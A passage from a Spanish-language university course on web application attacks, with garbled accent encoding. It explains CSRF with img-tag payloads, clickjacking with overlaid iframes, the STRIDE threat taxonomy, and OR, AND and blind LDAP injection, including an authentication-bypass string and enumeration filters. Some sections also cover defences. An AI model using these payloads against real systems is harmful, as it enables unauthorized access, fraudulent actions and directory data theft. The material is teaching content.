Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

